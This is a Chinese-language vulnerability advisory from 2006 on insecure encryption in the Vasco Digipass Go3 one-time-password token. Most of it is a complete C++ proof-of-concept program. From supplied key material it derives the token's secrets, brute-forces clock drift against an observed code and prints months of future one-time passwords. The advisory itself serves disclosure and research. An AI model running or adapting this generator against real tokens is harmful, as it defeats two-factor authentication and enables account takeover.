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安全漏洞
Digipass Go3不安全加密实现漏洞
发布日期：2006-11-13
更新日期：2006-11-16
受影响系统：
Vasco Digipass Go3描述：
BUGTRAQ ID: 21040
Digipass GO3是一种非常轻巧和便于使用的双重认证装置，旨在向客户提供安全的一次性密码(OTP)。
Digipass Go3使用不安全的单密钥加密算法加密敏感数据，允许攻击者暴力猜测加密密钥，访问敏感信息。
<*来源：faypou （fcollyer@gmail.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116345431409683&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <time.h>
#include <string.h>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma comment(lib, "libeay32.lib")
typedef unsigned __int64 uint64_t;
#else // _WIN32
#include <unistd.h>
#include <sys/time.h>
typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned int DWORD;
typedef const char * LPCSTR;
typedef unsigned long long uint64_t;
#endif // _WIN32
#include <openssl/des.h>
// ----------------------------------------------------------------------------
#define TRACE printf
#if 1
#define HIT_KEY_TO_CONTINUE() do { TRACE("\t\thit a key to continue\n");\
getc(stdin);\
}while (0)
#endif
//#define HIT_KEY_TO_CONTINUE()
// ----------------------------------------------------------------------------
#define SERIAL_LEN (5)
#define ARGC_COUNT (7)
#define MK __argv[1]
#define DEL __argv[2]
#define DKEY __argv[3]
#define TDKEY __argv[4]
#define OFFSET __argv[5]
#define SERIAL __argv[6]
#define TARGET __argv[7]
// ----------------------------------------------------------------------------
typedef struct Digipass_GO3_ctx_
{
BYTE vMasterKey [sizeof(DES_cblock) * 2];
BYTE vDEL [sizeof(DES_cblock) ];
BYTE vDES64KEY [sizeof(DES_cblock) ];
BYTE vA_TDES64KEY[sizeof(DES_cblock) ];
BYTE vA_OFFSET [sizeof(DES_cblock) ];
BYTE vSERIAL [SERIAL_LEN ];
// master keys
DES_key_schedule ks_master[2];
// hold 3DES 112 "master-derived" keys
DES_key_schedule ks_digipass[2];
DES_cblock digipass_k[2];
DES_cblock secret1; // 8 bytes
DES_cblock secret2; // 8 bytes
// only 3 first bytes used to derive OTPs
DES_cblock secret3;
// finally, token keys
DES_key_schedule ks_token[2];
} Digipass_GO3_ctx_t;
// ----------------------------------------------------------------------------
class CDigipassGO3
{
public:
CDigipassGO3() {
ResetState();
}
~CDigipassGO3() {
ResetState();
}
static BYTE inline TO_I(char c) {
BYTE cc = (BYTE) toupper((BYTE)c);
return ( c > '9' /* hex chars */ ) ? (cc - '7') : (cc - '0');
}
bool InitCtx( LPCSTR szMK,
LPCSTR szDEL,
LPCSTR szDKEY,
LPCSTR szTDKEY,
LPCSTR szOFFSET,
LPCSTR szSERIAL
);
void GetOTP(time_t start, char *GeneratedOTP = NULL);
bool Synchronize(LPCSTR szTarget);
time_t GetTimeDrift(void) {
return m_sync_delta;
}
LPCSTR GetOTP_Str(void) {
return m_szTokenCode;
}
enum {
// time step itself is fixed during Digipass init
TIME_WINDOW_SIZE = 100,
GO3_CODE_LEN = 6,
SEC_DELTA = 36,
GO3_PERIOD = (1 * SEC_DELTA)
};
private:
void ResetState(void) {
memset(this, 0, sizeof(*this));
}
void MakePreSecretFromSerial(DES_cblock &pre, BYTE ord);
bool DeriveKeys(void);
static bool ConvertHexStrToByteVector(LPCSTR szSTR, BYTE *pBase);
Digipass_GO3_ctx_t m_ctx;
BYTE *m_pDerivePinPtr;
size_t m_sync_delta;
char m_szTokenCode[GO3_CODE_LEN + 1];
};
// ----------------------------------------------------------------------------
// converts the hex string representation to byte vector representation;
// ----------------------------------------------------------------------------
bool CDigipassGO3::ConvertHexStrToByteVector(LPCSTR szSTR, BYTE *pBase)
{
size_t len = strlen(szSTR);
if ( len & 1 )
{
TRACE("\tmalformed hex_str not multiple of 2: '%s'...\n", szSTR);
return false;
}
TRACE("\tconverting '%s' to bin...\n", szSTR);
for ( size_t i = 0, j = 0; i < len; j++, i += 2 )
{
pBase[j] = (TO_I(szSTR[i]) << 4) + TO_I(szSTR[i + 1]);
}
return true;
}
// ----------------------------------------------------------------------------
//
// we received string material; make DigipassGO3 derivations;
//
// ----------------------------------------------------------------------------
bool CDigipassGO3::InitCtx( LPCSTR szMK,
LPCSTR szDEL,
LPCSTR szDKEY,
LPCSTR szTDKEY,
LPCSTR szOFFSET,
LPCSTR szSERIAL
)
{
if ( !ConvertHexStrToByteVector( szMK, m_ctx.vMasterKey ) ||
!ConvertHexStrToByteVector( szDEL, m_ctx.vDEL ) ||
!ConvertHexStrToByteVector( szDKEY, m_ctx.vDES64KEY ) ||
!ConvertHexStrToByteVector( szTDKEY, m_ctx.vA_TDES64KEY ) ||
!ConvertHexStrToByteVector( szOFFSET, m_ctx.vA_OFFSET ) ||
!ConvertHexStrToByteVector( szSERIAL, m_ctx.vSERIAL )
)
{
TRACE("\tcannot get str material....\n");
return false;
}
return DeriveKeys();
}
// ----------------------------------------------------------------------------
// prepare the secrets from token serial number; each one has hadcoded value;
// ----------------------------------------------------------------------------
void CDigipassGO3::MakePreSecretFromSerial(DES_cblock &pre, BYTE ord)
{
memset(&pre, 0, sizeof(DES_cblock));
BYTE *p = (BYTE *) ⪯
memcpy(p + (sizeof(DES_cblock) -SERIAL_LEN), m_ctx.vSERIAL, SERIAL_LEN);
if ( ord == 0x01 ) {
p[0] = 0x01;
}
else if ( ord == 0x02 ) {
p[1] = 0x10;
}
else if ( ord == 0x03 ) {
p[1] = 0x01;
}
}
// ----------------------------------------------------------------------------
// Here, the digipass derivation actually happens.
// ----------------------------------------------------------------------------
bool CDigipassGO3::DeriveKeys()
{
DES_cblock des1;
memcpy(&des1, m_ctx.vMasterKey, sizeof(DES_cblock));
DES_cblock des2;
memcpy(&des2, m_ctx.vMasterKey + sizeof(DES_cblock), sizeof(DES_cblock));
DES_set_key_unchecked(&des1, &m_ctx.ks_master[0]);
DES_set_key_unchecked(&des2, &m_ctx.ks_master[1]);
DES_ecb3_encrypt((DES_cblock *)m_ctx.vDEL, &m_ctx.digipass_k[0],
&m_ctx.ks_master[0], &m_ctx.ks_master[1], &m_ctx.ks_master[0],
DES_ENCRYPT
);
DES_ecb3_encrypt(&m_ctx.digipass_k[0], &m_ctx.digipass_k[1],
&m_ctx.ks_master[0], &m_ctx.ks_master[1], &m_ctx.ks_master[0],
DES_ENCRYPT
);
DES_set_odd_parity(&m_ctx.digipass_k[0]);
DES_set_odd_parity(&m_ctx.digipass_k[1]);
DES_set_key_unchecked(&m_ctx.digipass_k[0], &m_ctx.ks_digipass[0]);
DES_set_key_unchecked(&m_ctx.digipass_k[1], &m_ctx.ks_digipass[1]);
//
// ks_digipass[0] && ks_digipass[1]
//
DES_cblock pre1;
MakePreSecretFromSerial(pre1, 0x01);
DES_cblock a;
DES_cblock b;
DES_ecb3_encrypt(&pre1, &a,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
DES_cblock tmp;
memcpy(&tmp, (BYTE *)&a + i, sizeof(DES_cblock) -i);
memcpy((BYTE *)&tmp + sizeof(DES_cblock) -i, m_ctx.vDES64KEY, i);
DES_ecb3_encrypt(&tmp, &b,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
BYTE al = *(BYTE *) &b;
BYTE cl = m_ctx.vDES64KEY[i] ^ al;
((BYTE *)&m_ctx.secret1)[i] = cl;
}
DES_cblock pre2;
MakePreSecretFromSerial(pre2, 0x02);
DES_ecb3_encrypt(&pre2, &a,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
//
// FIXME: each loop/round should be unified in a separate function;
//
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
DES_cblock tmp;
memcpy(&tmp, (BYTE *)&a + i, sizeof(DES_cblock) -i);
memcpy((BYTE *)&tmp + sizeof(DES_cblock) -i, m_ctx.vA_TDES64KEY, i);
DES_ecb3_encrypt(&tmp, &b,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
BYTE al = *(BYTE *) &b;
BYTE cl = m_ctx.vA_TDES64KEY[i] ^ al;
((BYTE *)&m_ctx.secret2)[i] = cl;
}
DES_cblock pre3;
MakePreSecretFromSerial(pre3, 0x03);
DES_ecb3_encrypt(&pre3, &a,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
DES_cblock tmp;
memcpy(&tmp, (BYTE *)&a + i, sizeof(DES_cblock) -i);
memcpy((BYTE *)&tmp + sizeof(DES_cblock) -i, m_ctx.vA_OFFSET, i);
DES_ecb3_encrypt(&tmp, &b,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
BYTE al = *(BYTE *) &b;
BYTE cl = m_ctx.vA_OFFSET[i] ^ al;
((BYTE *)&m_ctx.secret3)[i] = cl;
}
DES_set_key_unchecked(&m_ctx.secret1, &m_ctx.ks_token[0]);
DES_set_key_unchecked(&m_ctx.secret2, &m_ctx.ks_token[1]);
m_pDerivePinPtr = (BYTE *)&m_ctx.secret3;
TRACE("\tCDigipassGO3::DeriveKeys() done...\n");
return true;
}
// ----------------------------------------------------------------------------
// THE generator; start must have been sync'ed before generation;
// FIXME: thread unsafe outside MS CRT
// ----------------------------------------------------------------------------
void CDigipassGO3::GetOTP(time_t start, char *szTokenCode)
{
DES_cblock token_code = { 0 };
struct tm time_tm = *(gmtime(&start)); // here
DWORD dwTmpCalc31 = (DWORD) (time_tm.tm_min * 60);
dwTmpCalc31 += (DWORD) time_tm.tm_sec;
uint64_t tmp = (uint64_t) dwTmpCalc31 * (uint64_t)0x38E38E39;
tmp >>= 32;
tmp >>= 3;
BYTE calc1 = ((BYTE)(time_tm.tm_year / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_year % 0x0A);
BYTE calc2 = ((BYTE)(time_tm.tm_hour / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_hour % 0x0A);
BYTE calc3 = (((BYTE) tmp / 0x0A) * GO3_CODE_LEN) + (BYTE) tmp;
BYTE calcA = ((BYTE)(time_tm.tm_mday / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_mday % 0x0A);
time_tm.tm_mon++; // time_tm.tm_mon + 1; // ok
BYTE calcB = ((BYTE)(time_tm.tm_mon / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_mon % 0x0A);
// [0], [1], [2] - ok (secret3[0], secret3[1], secret3[2])
m_pDerivePinPtr[3] = calc1;
m_pDerivePinPtr[4] = calcB;
m_pDerivePinPtr[5] = calcA;
m_pDerivePinPtr[6] = calc2;
m_pDerivePinPtr[7] = calc3;
DES_ecb3_encrypt(&m_ctx.secret3, &token_code,
&m_ctx.ks_token[0], &m_ctx.ks_token[1], &m_ctx.ks_token[0],
DES_ENCRYPT
);
//
// extrated from fixed binary position
//
const static BYTE c_table[0x100] = {
0x92, 0x82, 0x55, 0x23, 0x90, 0x71, 0x22, 0x63,
0x37, 0x25, 0xFE, 0xFF, 0xFA, 0xFB, 0xFC, 0xFD,
0x59, 0x53, 0x06, 0x44, 0x79, 0x75, 0x88, 0x13,
0x64, 0x36, 0xEF, 0xEA, 0xEB, 0xEC, 0xED, 0xEE,
0x34, 0x46, 0x35, 0x21, 0x57, 0x27, 0x20, 0x65,
0x77, 0x03, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0x10, 0x78, 0x81, 0x49, 0x84, 0x01, 0x32, 0x96,
0x11, 0x02, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xCA,
0x04, 0x24, 0x00, 0x54, 0x45, 0x72, 0x87, 0x09,
0x73, 0x83, 0xBC, 0xBD, 0xBE, 0xBF, 0xBA, 0xBB,
0x76, 0x98, 0x12, 0x42, 0x38, 0x33, 0x94, 0x05,
0x91, 0x86, 0xAD, 0xAE, 0xAF, 0xAA, 0xAB, 0xAC,
0x28, 0x39, 0x68, 0x47, 0x15, 0x56, 0x60, 0x17,
0x99, 0x07, 0x9E, 0x9F, 0x9A, 0x9B, 0x9C, 0x9D,
0x26, 0x18, 0x50, 0x74, 0x93, 0x89, 0x70, 0x61,
0x31, 0x58, 0x8F, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E,
0x16, 0x69, 0x30, 0x08, 0x43, 0x85, 0x67, 0x62,
0x95, 0x48, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x52, 0x66, 0x14, 0x29, 0x19, 0x97, 0x51, 0x40,
0x80, 0x41, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x6A,
0xE5, 0xF4, 0xA3, 0xB2, 0xC1, 0xD0, 0xE9, 0xF8,
0xA7, 0xB6, 0x5C, 0x5D, 0x5E, 0x5F, 0x5A, 0x5B,
0xF5, 0xA4, 0xB3, 0xC2, 0xD1, 0xE0, 0xF9, 0xA8,
0xB7, 0xC6, 0x4D, 0x4E, 0x4F, 0x4A, 0x4B, 0x4C,
0xA5, 0xB4, 0xC3, 0xD2, 0xE1, 0xF0, 0xA9, 0xB8,
0xC7, 0xD6, 0x3E, 0x3F, 0x3A, 0x3B, 0x3C, 0x3D,
0xB5, 0xC4, 0xD3, 0xE2, 0xF1, 0xA0, 0xB9, 0xC8,
0xD7, 0xE6, 0x2F, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E,
0xC5, 0xD4, 0xE3, 0xF2, 0xA1, 0xB0, 0xC9, 0xD8,
0xE7, 0xF6, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0xD5, 0xE4, 0xF3, 0xA2, 0xB1, 0xC0, 0xD9, 0xE8,
0xF7, 0xA6, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x0A
};
BYTE *pTokenCode = (BYTE *) &token_code;
BYTE *pTokenCode2 = pTokenCode;
BYTE cl = pTokenCode[0];
BYTE dl = pTokenCode[2];
BYTE al = pTokenCode[3];
BYTE bl = 0;
dl ^= cl;
cl = pTokenCode[4];
pTokenCode[2] = dl;
dl = pTokenCode[1];
pTokenCode2 += 4;
al ^= dl;
dl = pTokenCode[5];
pTokenCode[3] = al;
al = pTokenCode[6];
cl ^= al;
pTokenCode2[0] = cl;
cl = pTokenCode[7];
dl ^= cl;
pTokenCode[5] = dl;
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
al = pTokenCode[i];
if ( al >= 0xA0 )
{
al -= 0x60;
}
pTokenCode[i] = al;
BYTE bl = al;
bl &= 0x0F;
if ( bl >= 0x0A )
{
al -= 0x06;
pTokenCode[i] = al;
}
}
dl = m_pDerivePinPtr[7];
pTokenCode[6] = dl;
for ( int i = 0; i < GO3_CODE_LEN; i++ )
{
for ( int j = 0; j < (GO3_CODE_LEN / 2); j++ )
{
al = pTokenCode2[j];
dl = al;
al &= 0x0F;
dl >>= 4;
DWORD dwTmp1 = (DWORD) dl;
DWORD dwTmp2 = (DWORD) al;
dwTmp1 &= 0x000000FF;
dwTmp2 &= 0x000000FF;
dwTmp1 <<= 4;
al = c_table[dwTmp1 + dwTmp2];
pTokenCode2[j] = al;
}
dl = pTokenCode2[1];
cl = pTokenCode2[2];
bl = dl;
al = cl;
bl &= 0x0F;
al &= 0x0F;
bl <<= 4;
cl >>= 4;
bl += cl;
cl = pTokenCode2[0];
pTokenCode2[2] = bl;
bl = cl;
bl &= 0x0F;
bl <<= 4;
dl >>= 4;
cl >>= 4;
al <<= 4;
bl += dl;
cl += al;
pTokenCode2[1] = bl;
pTokenCode2[0] = cl;
}
#if 0 // digits only
sprintf(m_szTokenCode, "%02X%02X%02X",
pTokenCode2[0], pTokenCode2[1], pTokenCode2[2]
);
#endif
//
// optimized lookup convertion; see sprintf() disabled above;
//
const static char g_HexToStr[0x10] = {
'0', '1', '2', '3', '4',
'5', '6', '7', '8', '9',
//
// from now on, should never happen; they're
// wrong if reached; the extra padding avoids
// runtime "explosions";
//
'A', 'B', 'C', 'D','E', 'F'
};
//
// loop unrolled, still for optimization purposes;
//
m_szTokenCode[0x00] = g_HexToStr[((pTokenCode2[0] >> 4) & 0x0F)];
m_szTokenCode[0x01] = g_HexToStr[((pTokenCode2[0] >> 0) & 0x0F)];
m_szTokenCode[0x02] = g_HexToStr[((pTokenCode2[1] >> 4) & 0x0F)];
m_szTokenCode[0x03] = g_HexToStr[((pTokenCode2[1] >> 0) & 0x0F)];
m_szTokenCode[0x04] = g_HexToStr[((pTokenCode2[2] >> 4) & 0x0F)];
m_szTokenCode[0x05] = g_HexToStr[((pTokenCode2[2] >> 0) & 0x0F)];
m_szTokenCode[0x06] = '\0';
if ( szTokenCode != NULL )
strcpy(szTokenCode, m_szTokenCode);
}
// ----------------------------------------------------------------------------
// Try to find time drift between token and localtime();
// This can be positive, or negative; depends on kind of time drift;
// Brute-force approach; FIXME
// ----------------------------------------------------------------------------
bool CDigipassGO3::Synchronize(LPCSTR szTarget)
{
TRACE("\tSynchronize()ing with '%s'...\n", szTarget);
time_t start = time(NULL);
const size_t DAYS = 2 * (24 * 60 * 60); // 2 days in seconds
TRACE("\t\tbackwards...\n");
HIT_KEY_TO_CONTINUE();
//
// backwards
//
for ( m_sync_delta = 0; m_sync_delta < DAYS; m_sync_delta += GO3_PERIOD )
{
m_szTokenCode[0] = '\0';
GetOTP(start - m_sync_delta);
TRACE("\t\tround: %08u, %s:%s\n", m_sync_delta, szTarget, m_szTokenCode);
if ( strcmp(szTarget, m_szTokenCode) == 0 )
{
m_sync_delta = (~(DWORD)m_sync_delta) + 1; // negative, 2s-complement
TRACE("\t\tSynchronize() found negative drift!\n");
return true;
}
}
TRACE("\t\tupwards...\n");
HIT_KEY_TO_CONTINUE();
//
// upwards
//
for ( m_sync_delta = 0; m_sync_delta < DAYS; m_sync_delta += GO3_PERIOD )
{
m_szTokenCode[0] = '\0';
GetOTP(start + m_sync_delta);
TRACE("\t\tround: %08u, %s:%s\n", m_sync_delta, szTarget, m_szTokenCode);
if ( strcmp(szTarget, m_szTokenCode) == 0 )
{
TRACE("\t\tSynchronize() found positive drift!\n");
return true;
}
}
return false;
}
// ----------------------------------------------------------------------------
#ifndef _WIN32
int __argc;
char **__argv;
#endif // _WIN32
// ----------------------------------------------------------------------------
int main(int argc, char *argv[])
{
#ifndef _WIN32
__argc = argc;
__argv = argv;
#endif // _WIN32
if ( argc < ARGC_COUNT )
{
printf("\tincomplete arguments: MK DEL DKEY TDKEY OFFSET SERIAL [TARGET]\n");
return -1;
}
bool bHasTarget = false;
printf("\n");
if ( argc == (ARGC_COUNT + 1) )
{
bHasTarget = true;
printf("\t\tconvergence using '%s'...\n", TARGET);
}
CDigipassGO3 go3_token;
if ( !go3_token.InitCtx(MK, DEL, DKEY, TDKEY, OFFSET, SERIAL) )
{
printf("\t\tcannot init token ctx...\n");
return -2;
}
printf("\n");
time_t start = time(NULL);
if ( bHasTarget )
{
if ( !go3_token.Synchronize(TARGET) )
{
printf("\t\tSynchronize() did not converge. aborted :(\n");
return -3;
}
else
{
printf("\t\tdrif: 0x%08X...\n", go3_token.GetTimeDrift());
start += go3_token.GetTimeDrift();
HIT_KEY_TO_CONTINUE();
}
}
int round = 0;
const DWORD WAIT_MSEC = 51;
while ( true ) {
char *str_time = ctime(&start);
str_time[24] = '\0';
go3_token.GetOTP(start);
#if 0
printf("\ttoken code ('%s':%03d): '%s'...\n", str_time,
round, go3_token.GetOTP_Str()
);
#endif
// for database manipulation
printf("%d;%s\n", round, go3_token.GetOTP_Str());
#if 0
Sleep(WAIT_MSEC);
#endif
start += (CDigipassGO3::GO3_PERIOD);
round++;
if ( round > ((72000 + 10 + 2400) ) * 6) // ~ 6 month
break;
//if ( start < 0 ) // time_t are long's in Win32; overflowed!
// break;
}
return 0;
}
// ----------------------------------------------------------------------------
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